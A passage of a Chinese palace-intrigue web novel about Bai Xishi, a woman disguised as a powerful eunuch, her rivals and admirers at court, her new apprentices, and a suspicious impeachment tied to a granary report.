彼时正值黄昏,皇帝派怡嫔的父亲前往江南治理蝗虫之患,继而不知是不是为了安抚这位臣子,当夜便翻了怡嫔的牌子。 寝殿之内,怡嫔提前得知皇帝要来,身着一身妖娆垂顺的寝衣,婷婷袅袅从屋内飘了出来,看见皇帝便柔若无骨攀附了上去,娇滴滴搂住了男子的脖颈。 可能是从小一起长大的原因,白惜时在,皇帝多少有些顾及面子,微微后仰斥了一句“像什么样子”。 白惜时在后头眼观鼻,鼻观心,突然感慨做皇帝也不容易,有时候为了安抚朝臣还得贡献身体,有个这么闹腾的主,天子今夜未必睡得了安稳觉。 自此之后,皇帝有意无意,没让白惜时陪着去过后宫,白惜时自然也乐得自在。 只不过就是那次去怡嫔处,白惜时在外头候着,吃了宫女扶疏送过来的一块茶点,顺口夸了句“不错”,自此那小宫女便日日给她送吃食,风雨无阻。 有时候太上进了,也令人头疼。 前朝之事已经够白惜时忙得脚不沾地,她亦不想掺合进去后宫纷争。 何况,贵妃娘娘近来明显很不喜欢这位怡嫔,白惜时顾念往日的情谊,亦不便与之宫人交往过密。 — 前任兵部尚书即将过七十大寿,皇帝为了表示对老臣的关心,安排白惜时替他赴宴并赐下一应贺喜之物。 寿宴当日,白惜时身着御赐蟒服,十余个小太监紧随其后端着用明黄绸布盖住的托盘,踏入筵席之中。 所有宾客见到来人,如御驾亲临,无一不起身行礼,那老臣更是感动落泪,犹如容光焕发,躬身从白惜时手中接过御赐之礼。 待到一应流程走完,老臣及家人深觉能得皇上看重如此,实在是给足了排场和脸面,高兴喜悦之余,便也要留下白惜时一起用饭。 许久没有出宫,又实在盛情难却,白惜时的到场不仅代表着自己,亦代表帝王态度,如今留下来用饭,也到了所谓的“赏光”之说。 应下来后,白惜时被请入主席,然而视线在人群中掠过,倒是看见了几个熟悉的身影,谢过老臣,她推辞了与一众德高望重的臣子坐于一起,而是径直右转,往一旁的辅桌走去。 右侧最前列的辅桌上,坐的倒有几个熟人,魏廷川、滕烈、冯有程均在其列,而好巧不巧,魏廷川与滕烈身边各空了一个位置。 见此情状,白惜时脚步微顿,继而隔空与魏廷川打了个照面,就在男子起身准备迎他落座之时,白惜时已然掀袍抬腿,极其自然地坐于了滕烈侧首。 白惜时的选择,让两个男子均意外非常。 魏廷川作势要起身的动作倏然停了下来,而滕烈则转过头来,一言不发的朝白惜时望了过来。 在男子的印象中,白惜时与镇北将军的交情,匪浅。 当日镇北将军归京,白惜时那轻快的步伐仍然历历在目,所以他亦没想到,白惜时会在二人之中,选择于落座自己一侧。 魏廷川,亦眉目紧锁望了过来。 “刚好想起一件事,要与指挥使相商。”感受到魏廷川的视线,白惜时停了片刻,终是抬眼,冲对面之人笑着解释了一句。 魏廷川听完,点了点头,做出理解的表情,只是那只握于膝头叫人看不见的手,一直没有放松下来。 滕烈闻言一副严肃认真状,声线恰好打断隔空生疏的二人,“不知掌印所为何事?” …… 其实……也没什么事,不过是魏廷川已经订亲,白惜时纯粹觉得不大合适而已。 不过说到不合适,她又突然侧眸,顺嘴问了句,“指挥使订亲了吗?” 她的声线不高,加之人声嘈杂,滕烈并没有听清。 男子低头,倾身凑近了些,“什么?” “我问,指挥使订过亲没有?” “……没有。”滕烈看向白惜时,眸子里有些古怪。 听到答案白惜时便坐得更加坦然,接过冯有程此刻殷勤递过来的一盏热茶,随口点评道:“哦,年纪也不小了,抓紧些吧。” “……” 滕烈滞了半晌,似是有些无语,“掌印要与我商谈的,便是此事?” 然而在此话一出口后,他似是突然感知到了什么,联系到白惜时方才提到的订亲,以及与魏廷川之间的突然疏远。 而白惜在冀中平匪之时,曾亲口说过……他所爱并非女子。 难道是? 思及此,滕烈眸光骤然一动,目光下意识朝魏廷川望了过去,再看向白惜时,似有什么隐晦的暗光划过瞳仁。 白惜时似有所觉,停下筷子问了一句,“怎么了?” 滕烈很快敛下神色,“没什么。” 这时候冯有程从男子的另一边探过头来,隐约听见二人对话,笑着回答道:“掌印可是在问指挥使的婚事?没呢,发愁的很,指挥使不喜被人约束,至今也没个着落。” 白惜时闻言,没太往心里去,只配合的“啧”了一声。 视线从白惜时那张昳丽白皙的面庞掠过,手指头莫名蜷缩了一下复又松开,不知道为什么,一个从没有过的念头突然涌入滕烈的脑海——也不是,十分不喜被约束。 或许,还得看人。 …… 一场筵席持续了一个多时辰,在宾主尽欢的氛围下顺利结束。散场之后,魏廷川本欲过来与白惜时说话,走到一半,却被他的准岳父现任兵部尚书拉去与同僚寒暄。 待到再回过头想要去寻时,发现人已经走至门口。 而此时,一辆马车正停于那人面前,上头一个大大的“白”字,紧接着车帘一掀,便从里面走出一个与自己有四、五分相像的男子,此刻,男子正满脸含笑地望向白惜时。 第44章 第44章 魏廷川有一种与白惜时渐行渐远之感,原先这种感觉还只是猜测,他试图找过很多借口,例如白惜时已经长大,亦或他如今已是权势在握的东厂厂督,不可能如小时候般一直跟在自己身后。 可是眼下,他已不能再自欺欺人。 白惜时就是离他而去了,宁愿坐于不是那么相熟和睦的锦衣卫身旁,也不会再走向自己。 内心那种复杂感是二十多年来从未体验过的涩然,不是那么的尖锐锋利,却如钝刀子磨人般,时时刻刻萦绕于心头。 而当亲眼看见白惜时在面对解衍那一刻,魏廷川的这种情绪达到了顶峰。 如今在外人面前孤高自持、傲气更甚的司礼监掌印白惜时,见到了满头热汗,浑身上下亦有些凌乱的男子从马车内跨出,很快卸下了那股距离感,上前一步,眉头皱了起来。 “打哪来的,弄成这副样子?” 解衍不甚在意,“与千闵、元盛去捉了几个人。” “人呢?” “已押解回东厂。” “既然押解回东厂,你不在东厂好好待着,跑来这里作甚?” 解衍的眼角弯起,“半道听闻掌印前来贺寿,便直接赶过来了。” 听到这里,白惜时不知作何感想,停了片刻才道:“我还要回宫向圣上复命,今日不回府中。” “好,我送掌印回宫。” 面上丝毫未有意外失色,可见解衍早就料到如此,多日未见,不知白惜时在宫中过得如何,对于解衍来说,能够瞧见一眼便是好的。 此刻发现白惜时又恢复了往日那般的精气神,解衍也终于能够放下些心。 那日黎明前,一边吃面一边强忍落泪之人,是解衍闭上眼睛就能浮现于脑海中的模样,每每此刻,就像一罐金贵的汤药失手打翻于胸腔,是陌生的滚烫之感。 那是白惜时不为人知的一面。 此刻解衍与白惜时正旁若无人的说着话,但很显然,有两个人的目光也一直未离,不动声色关注着这边。 魏廷川在白惜时的脸上找到了丢失的那种熟悉亲近,有一瞬间,心中竟涌出了自己的位置被解衍取代了的荒唐想法。 因为白惜时在面对自己时已经消失的那种默契放松,又在面对另一个人时,出现了。 原来他不是因为长大了,才不会再外露情绪,而只是在面对自己的时候,不会了。 默默立于不远处,魏廷川被定格在原地,甚至,没有再上前一步。 滕烈此刻同样注视着二人。 席间,突然冒出的那股“不是不可以被人管束”的想法叫他惊讶不已,而且这种想法,还是在面对如今的司礼监掌印时产生的,更是让滕烈复杂莫名。 即便知道白惜时原先很可能是对魏廷川有意,但男子与男子之间……是他从未思考涉及过的领域。 这样不对,也可能是他今日饮了些酒,才会在酒精的作用下冒出稀奇古怪的想法,滕烈与自己分析道,继而打算回家好好睡上一觉。 也许明日再醒来,便会觉得今日想法之荒唐无稽。 然而就在他准备策马先行时,此刻眸光一瞥,倏然注意到解衍那与镇北将军算得上相似的容貌,一个念头掠过脑海。 魏廷川虽已定亲,但解衍…… 白惜时当初为何会将流放的解衍带回? 自己都还没有想明白为什么,滕烈行动快于大脑,已然松开了缰绳,静立于一旁观察着二人。 这个时候冯有程恰好凑上前来,顶着一张喜庆依旧的脸,“掌印准备回宫?正好我也要进宫禀报近日事项,不知可否顺路搭乘一趟?” 闻言转过头来,白惜时看向冯有程,她并不讨厌这个锦衣卫副指挥使,加之顺路,正欲点头,不料解衍突然微一曲背,捂了下腹部的位置。 白惜时没有错过这个动作,定睛去看男子,“你怎么了?” 男子很快又把手放了下来,面无异常,“没什么。” “你受伤了?” “没有。” 不过没多久,解衍又在白惜时审视的目光下,改了口道:“……没什么大碍。” 闻言眉头锁得更紧,白惜时语气也明显低了下来,“上车看看。” 继而又转头对着冯有程,白惜时一指前方的马车,“副指挥使,咱家暂且有事处理,你若进宫,可乘我出宫的那辆。” 说罢,白惜时很快登上随解衍而来的马车,继而车夫长鞭一甩,载着二人朝皇宫的方向行去。 冯有程将刚才的一幕看在眼里,都说女人懂女人,男人,当然也看得懂男人。 他位置选得不好,立于马车后吃了一鼻子灰,晦气地扇了扇风,一侧头,便看到了立于马边的滕烈。 冯有程大步走了过去,心中有些愤愤不平,“指挥使,你说那姓解的刚才是不是不想带我?” 滕烈冰封着一张脸,觑他,“才看出来?” 冯有程拳头在空中一挥,发泄着心中的唾弃,“真不要脸啊,亏他能想出这么个损招,防人跟防贼似的!一起坐一下他那马车能怎么样?” 滕烈倒是很认可冯有程的第一句话,眉目薄凉,微一颔首,“是挺不要脸的。” 冯有程还在抱怨,“有马屁大家一起拍嘛,好不容易见着回掌印,他竟还想一个人霸占着独拍。” 拍马屁? 又看了此刻显得无比单纯的冯有程,滕烈薄唇微启,“他想的,当不止你猜测的那般简单。” — 前行的马车之中,白惜时熟门熟路翻出药箱,继而一抬下巴,示意解衍将受伤的位置掀开来让她看一看。 解衍推辞,“掌印,确实只是小伤。” 然而他越推辞,白惜时越以为严重,不由再次催促,“快点。” 解衍见此情状,自知糊弄不过去,才骑马难下般将手指移到束腰的革带之上,片刻之后,他褪下半边衣衫,将那受伤的腹部呈现在白惜时面前。 应该是被棍棒类的武器砸伤了,左腹上一片深紫色的淤青。白惜时只看了一眼便推断出大致情况,继而又凑近了些,伸出根手指触碰了下,想知道有没有伤及内脏。 然而她的手指才刚一戳上那线条流畅的腰腹,男子便骤然一缩,向后微微避让了一下。 “有那么疼吗?” 白惜时抬头看他,她没使多大力气,若只是这么轻轻一碰就疼,说不准还真有内脏受损的可能。 解衍本来在拿人的时候就流了一身热汗,之前的还未干,此时此刻,额头上的水珠便又沁出了更多,实在不是因为疼,是白惜时倏然靠近查看伤口,那鼻息都喷在了他的皮肉之上。 再加之略带凉意的手指一触碰,酥酥麻麻的痒感席卷而来,让他有些无所适从。 “不疼。”解衍憋了半天,就憋出了这么两个字。 整个人也开始变得有些僵硬。 白惜时察言观色的水平一绝,方才若是说因担心而忽略了其他,此刻,便多少发现了解衍的异常。 第一反应,是这个人还挺纯情的。 她以往给千闵、元盛也看过伤,倒是没见那两个人有什么拘谨之感。 想到这又最后查看了遍伤势,白惜时起身,从药箱中挑了瓶药油给解衍扔了过去,“问题不太大,记得回去早晚各擦一次。” 解衍单手接住,“好。” 说罢靠回椅背,目光又在解衍半边胸膛上扫过,白惜时突然又像发现了什么,问道:“你在吸气?” 显然没想到他会有此一问,解衍一愣,腰腹间霎时收得更紧,“没有。” 白惜时睁着一双看透一切的眸,劝慰男子,“练得挺好的,不用吸气也挺好,探花郎,自信一点。” 她这说的倒是实话,其实白惜时也挺意外,没想到解衍外表清隽,脱了衣服竟也沟壑分明,线条流畅。 看来这功夫确实没白练。 然而被白惜时这么一调侃,解衍那种久违的羞愤之感又出现于脸上,男子低头,开始一言不发的穿衣服。 穿到一半,抬眼,发现白惜时仍在望着自己,男子想说什么,又咽了回去,无可奈何之下,只有加快手上的速度继续穿衣。 看到这里,眸中也终是染上了一些笑意。 白惜时挑开车帘,没有再为难他,而是朝外头望了出去……解衍,挺好玩的。 — 马车一路顺畅,在行驶了半个时辰后,到达了安和门。 解衍率先下车,为白惜时撑开车帘,“掌印于宫中,多保重。” 男子当下的表情虽十分正常,但不知道为什么,白惜时莫名又想到了她于东厂养的那条小丑狗,黄麻。 每次她一离开,黄麻都会不舍的追着她走好久。 说来,她也的确好久未回去见过黄麻了。 思及此,白惜时忖度了片刻,又看向解衍,“你且等一下吧,我多日未回东厂,待我与圣上禀明今日贺寿情况,便回府上,明日直接去东厂。” 解衍听完眼睛亮了亮,紧接着弯起唇角,“好。” 在等待的这段时间里,解衍亦没有闲着,他注意到白惜时近日似是没有休息好,因而在车厢内将软垫和薄毯都铺置好,如此在回程的路上,掌印亦可小睡片刻。 一个时辰之后,白惜时才妥善处置好司礼监一应事务,踏着星光,从宫门中走了出来。 再次上车看到里头的陈设,她笑了笑没说什么,继而半靠在软垫上,闭目休憩。 多年以来养成的警醒习惯,白惜时本以为自己不会睡着,但在马车有节奏的一摇一晃中,她竟真的就这般卸下防备,睡了过去,直到马车已经到达府邸,还没有醒过来。 车夫见此情况有些为难,轻声去问车内的解衍,“公子,要不要叫掌印下车?” 望着此刻呼吸均匀之人,解衍柔和了眉眼,“不用了,让他多睡一会吧。” “你也回去休息,这里有我守着就行。”说着又看向车夫,男子补充了一句。 待车夫走后,漆黑的夜幕之下,车厢内只剩一盏昏黄色的烛台还亮着光,借着这微弱的光线,解衍静静打量着熟睡的白惜时。 视线一寸一寸描绘下来,最后,落在了他搁于薄被之外的手腕之上。 记起白惜时那不同于寻常男子的脉搏,解衍迟疑了片刻,最后,没有选择靠近再次确认,而是倾身过去,吹灭了那唯一一盏烛台。 到了这个时候,是男是女好像也已经没那么重要了。 想到这里,男子掀帘走下马车,静立于这寂静的月色中,于车厢外守着里头的熟睡之人。 第45章 第45章 白惜时醒来的时候,周遭一片漆黑,“倏”地一下坐起身,她浑身紧绷,待再次确认身在何处,才逐渐松懈下来,扶了下昏沉的头,掀开薄毯,走下马车。 斜靠于车旁的男子应声回首,看见白惜时走了出来,整个人还有些惺忪,遂伸手过去,欲将她扶下马车。 时值半夜,又是方醒,白惜时亦没有顾及那么多,就着解衍的手走了下来。 两手交握之际,男子呼吸一顿,莫名紧了下掌心。 “到了怎么不叫醒我?” 白惜时问,其实她没想到自己能真的睡着,在潜意识里,自己对解衍竟已经这般信任了? 解衍闻言没有说话,微笑,就这么看向着对方。 很多事情其实不用说,一个眼神,两个人便都能明白。 白惜时也确实是明白了,他应该是想让自己多休息一会,“我睡了多久?你一直在外面站着?” 解衍:“大概两个时辰。” 两个时辰,他就一直在外头站着吹风? 白惜时听完,一时不知说什么好,说他吧,人家足足守了两个时辰,不说吧,又觉得他下次还能这么干。 兀自于马车边立了片刻,白惜时轻叹口气,终究是什么都没说出口,正欲进门,才发现还被什么东西牵制着。 垂首,又向下扫了一眼,白惜时抬眸去问解衍,“你打算什么时候松开?” 跟着对方的视线望过去,此刻见到二人仍交握在一起的手,男子反应过来,倏然松开。 继而发现白惜时仍看着自己,不知为何,大半夜的,解衍突然便开始忙碌了起来。 一会检查车轮是否有缺口,一会又去看帘幔有无破损漏风之处。 白惜时立于他身后,等了片刻,见他仍没有忙完的架势,不咸不淡盯着男子的背影,“没看出来,你对于马车维修这一块也有所涉猎?” 闻言没有回头,解衍继续在那探究缰绳与马匹的适配性,“略感兴趣。” “你刚才在外头站了两个时辰,还没研究够?” “……事关掌印驾乘安危,还是谨慎些为妙。” 听着他在那一本正经的胡说八道,白惜时大发慈悲没有拆穿,斜眼又看了一会,“大半夜的,那你可真是有心了。我先回府去了,你也不要为了’略感兴趣‘,废寝忘食。” 着重强调了一下“略感兴趣”四个字,白惜时步伐一动,往府内走去。 解衍:“……好。” 直到白惜时的脚步消失在门庭之后,埋守于车轴间的男子才停下动作,一向沉静的眸子竟闪烁出几分懊恼,继而抬手,重新看向还沾染着温度的掌心,男子一根一根又握了回去。 片刻之后,男子面色如常跟着跨进了门庭,只月光下,耳廓还隐隐泛着红。 — 宦官因没有后代子孙,为了老有所依,因而在宫中都喜欢认个干爹干儿子、收收徒弟。 白惜时由于性别原因,不大能受得了旁人一口一个“干爹”的叫她,但收收徒弟还是可以的。 元盛与千闵均重武轻文,不是读书的料,让他两读书比杀了他两还难受,白惜时也就没有强人所难,继续让二人留在东厂。 所以在司礼监,他便预备重新物色两个小太监,培养一二。 皇宫中设有内学堂,是挑选有天赋的小太监着重培养的地方,自知道白惜时有了收徒的打算,明里暗里攀关系打点的不计其数,毕竟能跟上掌印,日后亦不愁没有出头之日。 白惜时最后挑中的,是两个只有十三、四岁的孩子。 第一个白惜时很满意,是她自己从小太监中选的,名唤江小锁,是正宗的“泥腿子”出生,家中活不下去才将他送进宫中,也算是有了条活路。 此刻看着江小锁在门前桌边捧着个海碗,吃得满嘴流油,白惜时很难想到如此秀气有灵气的一个孩子,饭量如此之大,不仅饭量大,心也大,有时候白惜时觉得,他看得比自己都开。 吃完碗中的饭,江小锁将油嘴一抹,笑嘻嘻看向白惜时,“掌印,我还想再添半碗。” 白惜时:“……去吧。” 另外一个赵岳,白惜时其实不想收他,他是武将世家之子,因族中长辈被牵扯进了定国公谋反之案,他亦被送入宫中,处以宫刑,对一个志在四方的少年郎来说,太残忍了。 不过这个孩子是内阁首辅李大人拜托他多加照看的,李大人着重强调的是照看,而不是提携任用。 因为他担心这个孩子打击过大,已经没了生的欲望。 白惜时虽平时为人处世嚣张了些,但自任司礼监掌印以来,亦有意与朝臣,尤其是内阁缓和了关系,毕竟双方若是意见相左、隔阂不断,于朝政无益。 因而李大人一个小小的请求,她亦不好拒绝。 如此,司礼监监所内,近日来便时常能见到两个年纪相仿的小太监,斯文秀气的天天眉开眼笑,结实强壮的日日郁郁寡欢。 眼看着江小锁新盛的半碗饭又快要吃完,白惜时示意了一眼赵岳,“你去问问他吃不吃?” 江小锁得令,立马勤快的去了,期间还特意将饭菜都盛好送至了赵岳的面前,但是没过多久,又原封不动地端了回来。 江小锁:“掌印,他说他不饿。” 闻言往那边看了一眼,“不吃就算了,忙你的去吧。” 说罢白惜时亦起身,没有再管赵岳,回到内堂,去处理今日送来的批红奏折。 眼下她事务繁忙,在开导了赵岳几次收效甚微后,实在也再没功夫再日日劝慰,有些伤痛和心中的坎,最终还是得靠自己迈过去。 接过随身小太监汤序送来的一展清茶,白惜时浅浅啜了一口,继而翻开文书,将注意力转移到了政务之上。 眼下天气渐热,暑季将至,今年疑有大旱之兆,因而朝臣呈送的奏章中,亦多以抗旱储粮为主,皇帝近来也在命各地粮仓统计上报余粮,做好统筹调配的准备,未雨绸缪,避免出现灾情。 户部仓科清吏司特意做了收集整理,看着奏章上密密麻麻的粮仓数字和人口分布,白惜时一顿加加减减,继而眉头稍松,若是各地所报均为实,平稳度过这个旱季应当是不难。 思及此,又特意翻看了一下奏章末尾的署名,这个鲍丞整理出来的文书倒是全面明了,白惜时将其挑了出来,预备呈送给皇帝亲自过目。 盖完红印,交给汤序晾干,白惜时正准备继续翻阅下一份,忽然感觉桌前的阳光被遮挡了大半,抬头望过去,才发现门口此时似乎是站着一个人。 汤序还没走出去察看,这个时候外头的小太监已经进来禀报,“掌印,锦衣卫指挥使到访。” 滕烈? 白惜时搁下手中的折子,冲那小太监一招手,得令后,没一会便见高大的男子被请了进来,后面还跟着一个面熟的蒋寅。 滕烈今日一身剪裁利落的飞鱼服,冷峻挺拔,明显是来宫中办事。 “掌印。”蒋寅紧跟着跨进来,率先与白惜时打招呼。 见状亦从案桌前站起,如今已将滕烈划为可结交的范围,白惜时便也露出两分随性,“二位大驾光临,不知所为何事?” 滕烈:“蒋寅口渴,讨杯水喝。” 蒋寅:“……” 蒋寅觉得自己冤枉死了,他真的就是从勤政殿出来的时候,与指挥使随口说了句一上午忙的连口水都没喝,他都没指望滕烈能够给个回应。 然而谁成想一向冷漠寡言的指挥使这次竟然破天荒回头,还问他是不是想要喝水。 蒋寅当然就如实的点了点头。 然后,他们二人就出现在了司礼监,他们家指挥使大人,还亲自帮他找掌印要水喝。 果然,白惜时听完也多少有些意外,一边让人上茶,一边重新坐了下来,“啧,锦衣卫的面子可真不小,这是拿我司礼监当成了你们二人的茶水铺了。” 蒋寅闻言,一盏热茶端起来只觉烫手,一时间不知是喝好,还是不喝好。 白惜时见状扬了扬唇角,“说笑的,这里其他的没有,茶水还是管够的。” 既然已经将滕烈划分为可结交的范围,她倒是不反感此二人上她这里来坐坐,不过真的只是坐坐吗? 白惜时总觉得以滕烈的行事风格,应该是有什么话要说。 其实蒋寅猜测的亦是如此,他总觉得指挥使应该没那么闲,当是想要欲借讨茶水之由,与掌印有要事相商。 然而在两双眼睛的注视下,滕烈就这么一言不发地喝完一盏茶,继而搁下茶盏,就在白惜时以为他终于要开口切入正题的时候,男子将茶盖一掀,又让人续了一杯,然后,继续喝。 最后到第二杯也喝完,滕烈看了眼一直望向自己的白惜时,清了清嗓子,起身告辞,“叨扰。” 白惜时、蒋寅:…… 他就真的是来喝水的! 连个天都不聊,就纯喝水。 白惜时突然觉得滕烈至今说不上亲也是情有可原,就这样连和同僚半天闷不出一个字来的,你指望他能跟姑娘说什么? 说诏狱,说今日又有抓了几个人? 多煞风景! 记着梁年、袁庆联手陷害自己时滕烈的暗中相助,此刻见二人要走,白惜时便也起身相送,只是没想到走至门口,恰好遇上赵岳经过,少年死气沉沉的目光在触及滕烈和他那一身飞鱼服时,突然闪动了一下。 白惜时看在眼里,停下脚步,又望向已经走远的赵岳。 “指挥使,且慢。” 突然叫住身前之人,白惜时:“我这有个孩子功夫底子不错,有空,你可否指导一二?” — 因白惜时的一句话,滕烈近来入宫的频率比以往要高了一些。 赵岳虽拒绝与旁人交流,但在练武方面却极为醉心,因而在滕烈的几次指导之后,偶尔也会愿意与他说上两句话。 白惜时看到这一变化的时候都不得不感叹,这可能就是偶像的力量。 不过滕烈常来司礼监多少有些惹眼,白惜时便直接将赵岳调去了与锦衣卫会有所往来的御马监,只不过人还是保留在内书堂读书,如此滕烈偶尔于御马监指导赵岳也显得顺其自然。 白惜时每隔一周会去看一看赵岳近况,那孩子瞧着倒是比乍见时精神好了一些,至少有武艺这个爱好支撑着,没有再继续萎靡消沉下去。 只不过蒋寅跟去了几次,回来后百思不得其解,“怎么指挥使指导个小太监,比指导我们还要有耐心些?” 冯有程路过听见,一副阅尽千帆的过来人模样,点拨蒋寅:“指挥使那是另辟蹊径,拉关系。” “和谁拉关系?” “掌印啊。” 蒋寅:“冯副使,要说拉关系您还差不多,指挥使是什么样的人您不知道吗?宁折不弯。” “不弯吗?” 冯有程质疑了一声,继而又兀自咂摸了会,“我看他见那姓解的会拉关系挺不高兴的,有一种,有一种说不上来的感觉……怎么形容呢?就跟家被偷了似的。” “对,就像家被偷了!” 冯有程正为自己能找到这么一个贴切的比喻沾沾自喜,这时候却发现对面之人一反常态,突然开始向他疯狂眨眼,紧接着一个寒凉的声音便从身后传来—— “冯副使,你说谁家被偷了?” 第46章 第46章 傍晚时分,旁听完皇帝与朝臣们议事,皇帝去了俞贵妃处用晚膳,白惜时回到司礼监,准备先吃点东西垫垫肚子,再来处理剩下的奏章。 然而进了监所,隐约听见会客的外堂有谈话之声,白惜时看了一眼守在门外的汤序,汤序躬身回禀,“掌印,是俞副总领来了,不让奴才在里头守着。” 闻言眉头不自觉蹙了起来,自白惜时掌管司礼监,俞昂时不时也会登门,他仗着有姐姐这层关系在,一直觉得与白惜时交情不错,在外头也时常吹嘘与掌印相熟的很。 有贵妃娘娘这棵大树,司礼监的小太监们也确实不赶拦他,因而他每每前来,下头人也都客气小心的伺候着,他既然出言让汤序出去,汤序自然不敢不从。 但,汤序不在里头,俞昂又是在与谁说话? 掀袍走上台阶,举目望进去,这时候只见俞昂正没什么正形的坐于椅凳之上,目光上瞟,有一搭没一搭地打量着眼前之人。 而江小锁笔直站在俞昂跟前,小心赔笑着与他说话。 眼见俞昂的茶盏里头没水了,江小锁十分有眼力见地拎起茶壶就要给他蓄水,谁知俞昂似是故意将茶盏一挪,那茶水就溅出几滴落在了俞昂的官服之上。 小锁吓了一大跳,立马去找布巾想要给俞昂去擦干,这个时候俞昂难得一见的大度,口中说着无事,手上却有意无意摸过小锁那抓着巾帕的手。 看到这里,白惜时脸色倏然沉了下来,直接迈进门槛,出现在了二人面前。 俞昂一见来人,立马收回手站了起来,一副什么事都没有发生的模样与白惜时打招呼道:“掌印,你终于回来了,我在这等你等了许久,肚子都快等饿了。” 白惜时没有接他的话茬,而是率先看向对面的小太监,“小锁,去通知汤序传菜。” “是,掌印。” 江小锁聪明伶俐,如果说第一次见到俞昂,当他得知此人是禁军副总领,又是掌印朋友的时候,想要表现表现,给人伺候好留下好印象。 那么当俞昂摸上他手的时候,他就感觉到有点不对了,具体怎么不对他也说不上来,反正就是不对。 所以一得白惜时的令,江小锁点点头,一溜烟就跑了出去。 俞昂以为白惜时传菜是要留他一起用饭,面上笑嘻嘻继续套着近乎,“掌印,刚才那就是你准备培养的小太监?我瞧着不错,长得也够标致,果然能入掌印法眼的人都如掌印般……” 最后一句话尚未说完,俞昂意味深长又回味下刚才滑溜的触感,目光一转,才发现白惜时此刻阴翳的眼神,心中骤然一抖颤,把未说出的那句话咽了回去。 白惜时耷拉着眼皮,“副总领既湿了官袍,便快些回去换了,免得身为禁军衣衫不整,有损皇家颜面。咱家亦准备沐浴用饭,恕不远送。” 说罢,他召来汤序送客,自己径直走入内室,挥不去心头那股嫌恶。 待打发走了俞昂,等到菜已布好开始用饭,这时候江小锁磨磨蹭蹭走了进来,脸上难得没有了以往的笑模样,怯生生望向白惜时。 “掌印,我是不是做错事了?” 白惜时拿起筷子,想要说什么,又觉得他年纪还是小了些,遂只看着他道:“以后记得离俞昂远点,有什么事,告诉我。” “是。”江小锁认真点了点头。 “去吃饭吧。” 望着少年离开时单薄纤细的背影,白惜时隐感担忧,其实她一直都知道,内宦长得太过白净惹眼,未必是件好事。 — 第二日早朝后,白惜时从御前回程路过御马监,想起赵岳,便顺路走进去看望一二。 没成想一进门,就看见那孩子正双膝跪地嚎啕大哭,是以前从未有过的宣泄模样,滕烈寡然立于一侧,片刻之后,高大的男子走了过去,伸手,重重按在赵岳的肩膀之上。 是一种无声的抚慰。 默默在后头看了二人半晌,白惜时在心中轻叹口气,阻止了汤序上前通传,预备悄无声息的离开。 这个时候贸然上前反倒像是打扰。 不过离开的时候,汤序一不小心踢到颗碎石子,练武之人听力极好,很快,滕烈便循着声音望了过来。 白惜时无声与滕烈对望了一眼。 继而,男子便朝这边走了过来。 看着仍一无所觉,背对着众人沉浸在自己悲愤情绪当中的赵岳,白惜时:“指挥使做了什么,将咱家新收的徒弟欺负成这副模样?” 闻言,滕烈有些无奈地看向她,明显是觉得白惜时是在曲解自己,又没有开口去解释,只能这么看着。 唉,这人听不出来玩笑话。 白惜时一摇头,换了种方式,“其实能哭也是件好事,哭出来发泄过了,心中便可减少些阴霾。” 滕烈:“他不喜被人同情。” 白惜时闻言,细细思索片刻,确实,少年人自尊最是强烈,有时候善意的同情对于当事人来说,也是一种温柔的残忍。 望向此刻仍在痛哭的少年,白惜时:“只要他不同情自己,就没人能同情的了他。” “人终究还是要靠自己看得起自己,内宦也罢,女子也罢,照样可以上阵杀敌,驰骋四方。谁规定的能够建功立业的就一定不能是这些人?” 白惜时:“天无绝人之路,指挥使觉得呢?” “掌印说得是。” 滕烈也跟随着白惜时的视线望过去,“这些话,掌印为什么不对赵岳说?” 白惜时说到这就想叹气,“我说了,他不听我的。” “不过我发现他倒是比较会听你的话,那就只能请指挥使替咱家多多费心,开导一二。” 虽然白惜时也不确定像滕烈这种一棍子打不出一句话的人,能不能起到劝慰的作用,但兴许男人有男人之间的沟通方式呢,赵岳瞧着确实是比先前好了一些。 滕烈:“掌印对赵岳很好。” “李阁请托照看的,咱家当然得对他好。” 滕烈却突然一摇头,“掌印很好。” “……?” 很难想象这话竟然是从滕烈口中说出来的,白惜时瞪着瞳仁,侧眼看向他,上上下下观察了一阵,最后问出了一句,“指挥使,昨夜喝酒了?” 这人她记得喝多了才会变得好说话。 听到这,滕烈的表情出现了丝裂纹,“……没有。” 只有男子自己知道能说出刚才那四个字,他克服了多大的心理压力。 但白惜时,好像根本就没听懂。 “没有你竟会夸咱家?” 白惜时更为惊异,一副鸭蛋里孵出了只麻雀的新奇之感。 他还知道她很好?她救他命的时候他难道不就该觉得她很好了吗?到现在才觉得她很好? 白惜时一直都搞不懂滕烈的点,不过人都是喜欢被夸的,白惜时自然也不例外,更何况还是面前这个惜字如金之人。 因而在离开的时候,白惜时颇为受用地一挥手,“冲指挥使这段时间的相助,赵岳若是真能从阴霾中走出,到时候咱家请你吃饭。” — 白惜时回到司礼监没多久,又有御前伺候的小太监来通传,“掌印,圣上正在找您,宣您速速去勤政殿一趟。” 闻言起身,白惜时不知皇帝所为何事,在小太监的殷勤引领下,又见到了龙椅之中的帝王。 看见白惜时进门,皇帝将一封折子放至桌角,“看看这个。” 走过去将折子拿起来,翻开。很快,白惜时的脸色也跟着严肃起来,这是一封弹劾朝臣的折子,而里头弹劾之人,正是前几日递上粮仓清查数目的户部仓科清吏司,鲍丞。 折子里头列举了鲍丞此人借职务之便,为其亲属在衙门们谋得了数个小吏的差事,还有其兄长在老家仗着弟弟于朝中做官,倾占他人良田的行径。 一条条,一目目,均有据可查,所列清晰详实,一看便不像是捕风捉影。 但,怪就怪在,此人早不弹劾,晚不弹劾,偏偏选在这个时候。 偏偏选在皇帝有意向任用鲍丞,派他下去清查各地粮仓的时候。 除此之外,朝臣们每日递上来的折子会分轻重缓急分别交由皇帝本人、司礼监来批阅处理。而鲍丞之前呈上来的那封奏章,在白惜时看来算得上重要,却并没有送至皇帝的案桌,还是白惜时看到后挑出来,亲自呈送皇帝过目。 但这一封弹劾的折子,却没经她手,直接摆在了皇帝的面前。 种种迹象让人不得不怀疑,是有人刻意为之。 只是此人不知,白惜时竟又将那鲍丞的折子重新呈了回去,因而这一招现在看来,便实在算不得高明。 白惜时沉吟半晌,筹措着言语,“圣上是怀疑,各地粮仓恐有虚瞒谎报之嫌?” 所以才会有人害怕鲍丞递交这份详实的折子,也怕他会就此问题深挖下去,因而先下手为强,索性让鲍丞丢了这顶乌纱帽。 皇帝听完没有说话,但蹙紧的眉峰显然已经认可了白惜时所说。 白惜时:“那圣上准备……如何处置鲍丞?” 毕竟罪证已经列举在此,总要对朝臣有个说法。 